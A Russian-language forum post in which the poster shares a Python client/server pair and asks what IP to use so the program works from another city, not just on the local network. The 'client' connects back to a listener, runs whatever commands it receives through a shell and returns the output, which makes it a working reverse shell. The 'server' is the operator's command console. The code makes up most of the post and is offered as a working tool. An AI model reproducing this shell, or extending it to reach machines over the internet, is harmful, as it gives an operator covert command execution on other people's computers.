Есть код сервера и клиента. Все работает хорошо, но программа работает только по локальной сети. Если пытаюсь удаленно с другого города, то она не работает. Не знаю какой ip надо вводить для сервера, чтобы ко мне могли подключиться удаленно
Клиентская часть:
Серверная часть
Клиентская часть:
Python:
import subprocess
import socket
import os
def execute_command(command):
return subprocess.check_output(command, shell=True)
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(('192.168.0.15', 8888))
while True:
command = connection.recv(1024)
command_result = execute_command(command)
connection.send(command_result)
connection.close()
Серверная часть
Python:
import subprocess
import socket
import os
listner = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listner.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listner.bind(('192.168.0.15', 8888))
listner.listen(0)
print("[+] Waiting for connection")
connection, address = listner.accept()
print("[+] Connection established - " + str(address))
while True:
command = raw_input("----> ")
connection.send(command)
result = connection.recv(1024)
print(result)